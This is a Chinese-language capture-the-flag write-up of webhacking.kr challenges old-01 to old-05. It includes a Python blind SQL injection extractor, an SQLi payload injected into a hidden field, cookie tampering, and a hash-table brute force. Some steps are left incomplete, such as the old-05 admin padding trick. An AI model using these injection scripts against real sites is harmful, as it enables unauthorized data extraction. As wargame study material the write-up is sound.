Albert Huang
MED student | CS enthusiast
old-01
先來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include "../../config.php" ; if ($_GET ['view-source' ] == 1 ){ view_source (); } if (!$_COOKIE ['user_lv' ]){ SetCookie ("user_lv" ,"1" ,time ()+86400 *30 ,"/challenge/web-01/" ); echo ("<meta http-equiv=refresh content=0>" ); } ?> <html> <head> <title>Challenge 1 </title> </head> <body bgcolor=black> <center> <br><br><br><br><br> <font color=white> ---------------------<br> <?php if (!is_numeric ($_COOKIE ['user_lv' ])) $_COOKIE ['user_lv' ]=1 ; if ($_COOKIE ['user_lv' ]>=4 ) $_COOKIE ['user_lv' ]=1 ; if ($_COOKIE ['user_lv' ]>3 ) solve (1 ); echo "<br>level : {$_COOKIE['user_lv']} " ; ?> <br> <a href=./?view-source=1 >view-source</a> </body> </html>
可以發現網頁初始化時會建立一個名為 user_lv 的 cookie,並且在 $_COOKIE['user_lv']>3 時會成功拿到 flag,但當 $_COOKIE['user_lv']>=4 時,它的值會被重設為 1,因此我們只要將 user_lv 設為 3~4 之間的值即可。
old-02
本題考點:Boolean-based Blind SQL Injection
進入到網頁後會發現網頁內容為:
1 2 Restricted area Hello stranger. Your IP is logging...
嘗試用 F12 看看 source code:
到 /admin.php 看看網頁內容,會發現它需要填入一個 secret password,但嘗試了一些常見的弱密碼並沒有成功。
在 cookie 的頁面發現它設定了 time,設定為目前時間,而且在根目錄上的註解也會隨 cookie 設定變動,因此我們嘗試設定其值為 true 或 false 看看:
1 2 3 4 5 6 7 8 true: <!-- 2070-01-01 09:00:01 --> false: <!-- 2070-01-01 09:00:00 -->
可以發現其顯示時間不同,試試看常見的 SQL Expression 1 AND 1=1 --/1 AND 1=2 --,回應與 true/false 輸入相符,因此存在 Blind Boolean SQLi 漏洞,可用來找出資料庫名稱與內容。
使用 Python 來實作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport stringdef get_length (exp ): length = 0 while True : payload = f'LENGTH(({exp} )) = {length} ' cookies = {'time' : payload} r = requests.get('https://webhacking.kr/challenge/web-02/' , cookies=cookies) if '2070-01-01 09:00:01' in r.text: return length length += 1 def get_name (exp, length ): name = '' for i in range (1 , length+1 ): for char in string.printable: payload = f'SUBSTR(({exp} ), {i} , 1) = "{char} "' cookies = {'time' : payload} r = requests.get('https://webhacking.kr/challenge/web-02/' , cookies=cookies) if '2070-01-01 09:00:01' in r.text: name += char break return name database_length = get_length('SELECT database()' ) database_name = get_name('SELECT database()' , database_length) table_length = get_length(f'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{database_name} " LIMIT 0,1' ) table_name = get_name(f'SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{database_name} " LIMIT 0,1' , table_length) column_length = get_length(f'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{table_name} " LIMIT 0,1' ) column_name = get_name(f'SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{table_name} " LIMIT 0,1' , column_length) content_length = get_length(f'SELECT {column_name} from {table_name} LIMIT 0,1' ) content_name = get_name(f'SELECT {column_name} from {table_name} LIMIT 0,1' , content_length) print (content_name)
找到 content_name 之後就是 secret password 的值,填入即可。
old-03
本題考點:客戶端輸入、SQL Injection in INSERT/UPDATE
這題一開始會先跟你玩一個 Nonogram 的遊戲,蠻簡單的。
通過之後會顯示一個輸入欄位:
1 2 Clear! enter your name for log :
嘗試一些 SQLi 的方法但都沒用,不過特別紀錄 IP 感覺有特別的原因
1 2 3 name : ' 1=1-- answer : 1010100000011100101011111 ip : X.X.X.X
看一下原始碼:
1 <input type ="hidden" name ="answer" value ="1010100000011100101011111" >
有一個被隱藏起來,看起來是剛剛作答 Nonogram 的答案,那如果把 payload 放進 value 裡面會成功把紀錄的 IP 蓋掉嗎?
1 <input type ="hidden" name ="answer" value ="' or 1=1 -- " >
old-04
進到題目之後發現它給了一串 hash,來觀察一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php include "../../config.php" ; if ($_GET ['view-source' ] == 1 ) view_source (); ?> <html><head> <title>Challenge 4 </title> <style type="text/css" > body { background:black; color:white; font-size:9 pt; } table { color:white; font-size:10 pt; } </style> </head> <body><br><br> <center> <?php sleep (1 ); if ((isset ($_SESSION ['chall4' ])) && ($_POST ['key' ] == $_SESSION ['chall4' ])) solve (4 ); $hash = rand (10000000 ,99999999 )."salt_for_you" ; $_SESSION ['chall4' ] = $hash ; for ($i =0 ;$i <500 ;$i ++) $hash = sha1 ($hash ); ?> <br><form method=post> <table border=0 align=center cellpadding=10 > <tr><td colspan=3 style=background:silver;color:green;><b><?= $hash ?> </b></td></tr> <tr align=center><td>Password</td><td><input name=key type=text size=30 ></td><td><input type=submit></td></tr> </table> </form> <a href=?view-source=1 >[view-source]</a> </center> </body> </html>
看起來它是用 10000000~99999999 之間的一個數加上 salt 做成一個 hash,並在重複 sha1 500 次之後顯示在畫面上,我們的目標就是找到原本的 hash 並放到 key 中。
用 Python 實作查表:
1 2 3 4 5 6 7 8 9 10 11 import hashlibfrom tqdm import tqdmf = open ("test.txt" , "w" ) salt = 'salt_for_you' for i in tqdm(range (10000000 , 99999999 )): hash = hashlib.sha1((str (i)+salt).encode()).hexdigest() hash500 = hash for i in range (500 ): hash500 = hashlib.sha1(hash500.encode()).hexdigest() f.write(hash + ' ' + hash500 + '\n' )
根據硬體不同,像我完整跑完大概需要 4 小時,可以在跑到大概 時善用網頁重整來搜尋,大概會有 20%25% 的機率可以找到正確的 key。
old-05
本題考點:隱藏路徑枚舉、JS Deobfuscation、SQL String Truncation / Padding
一開始會看到一個有 Login 和 Join 的頁面,在 Login 的頁面嘗試一些 admin 登入的 SQLi 失敗。
按下 Join 後會有彈出視窗顯示 Access_Denied,看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 <input type="button" value="Join" style="border:0;width:100;background=black;color=blue" onmouseover="this.focus();" onclick="no();" > ... function no ( ){ alert ('Access_Denied' );} function move (page ){ if (page=='login' ) { location.href ='mem/login.php' ; }}
可以發現它並沒有實作 Join 的按鈕跳轉,只是單獨顯示 Access_Denied,不過同時可以發現 login 的頁面位於 mem/login.php,因此可以嘗試到 mem/join.php 發現了真正的 join 頁面。
進入頁面後一開始一樣跳出了一個視窗顯示 bye,一樣看一下 source code:
1 2 3 l='a' ;ll='b' ;lll='c' ;llll='d' ;lllll='e' ;llllll='f' ;lllllll='g' ;llllllll='h' ;lllllllll='i' ;llllllllll='j' ;lllllllllll='k' ;llllllllllll='l' ;lllllllllllll='m' ;llllllllllllll='n' ;lllllllllllllll='o' ;llllllllllllllll='p' ;lllllllllllllllll='q' ;llllllllllllllllll='r' ;lllllllllllllllllll='s' ;llllllllllllllllllll='t' ;lllllllllllllllllllll='u' ;llllllllllllllllllllll='v' ;lllllllllllllllllllllll='w' ;llllllllllllllllllllllll='x' ;lllllllllllllllllllllllll='y' ;llllllllllllllllllllllllll='z' ;I='1' ;II ='2' ;III ='3' ;IIII ='4' ;IIIII ='5' ;IIIIII ='6' ;IIIIIII ='7' ;IIIIIIII ='8' ;IIIIIIIII ='9' ;IIIIIIIIII ='0' ;li='.' ;ii='<' ;iii='>' ;lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll; lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if (eval (lIIIIIIIIIIIIIIIIIIl).indexOf (lIllIllIllIllIllIllIllIllIllIl)==-1 ) {alert ('bye' );throw "stop" ;}if (eval (llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U' +'R' +'L' ).indexOf (lllllllllllll+lllllllllllllll+llll+lllll+'=' +I)==-1 ){alert ('access_denied' );throw "stop" ;}else {document .write ('<font size=2 color=white>Join</font><p>' );document .write ('.<p>.<p>.<p>.<p>.<p>' );document .write ('<form method=post action=' +llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll +'>' );document .write ('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' +lllllllll+llll+' maxlength=20></td></tr>' );document .write ('<tr><td><font color=gray>pass</font></td><td><input type=text name=' +llllllllllllllll+lllllllllllllllllllllll+'></td></tr>' );document .write ('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>' );}
用 AI deobfuscate 一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 if (document .cookie .indexOf ("oldzombie" ) === -1 ) { alert ("bye" ); throw "stop" ; } if (document .URL .indexOf ("mode=1" ) === -1 ) { alert ("access_denied" ); throw "stop" ; } document .write ('<font size=2 color=white>Join</font><p>' );document .write ('.<p>.<p>.<p>.<p>.<p>' );document .write ( '<form method="post" action="join.php">' ); document .write ( '<table border=1>' + '<tr>' + '<td><font color=gray>id</font></td>' + '<td><input type="text" name="id" maxlength="20"></td>' + '</tr>' + '<tr>' + '<td><font color=gray>pass</font></td>' + '<td><input type="text" name="pw"></td>' + '</tr>' + '<tr align="center">' + '<td colspan="2">' + '<input type="submit">' + '</td>' + '</tr>' + '</table>' + '</form>' );
可以發現它需要設定 cookie 和網址的 get 參數之後才會顯示註冊表單,設定一下即可。
隨便註冊一個帳號並登入會得到以下訊息:
1 2 Hello test You have to login as admin .
但註冊 admin 帳號則會顯示:
因此嘗試註冊 admin 作為帳號,成功登入。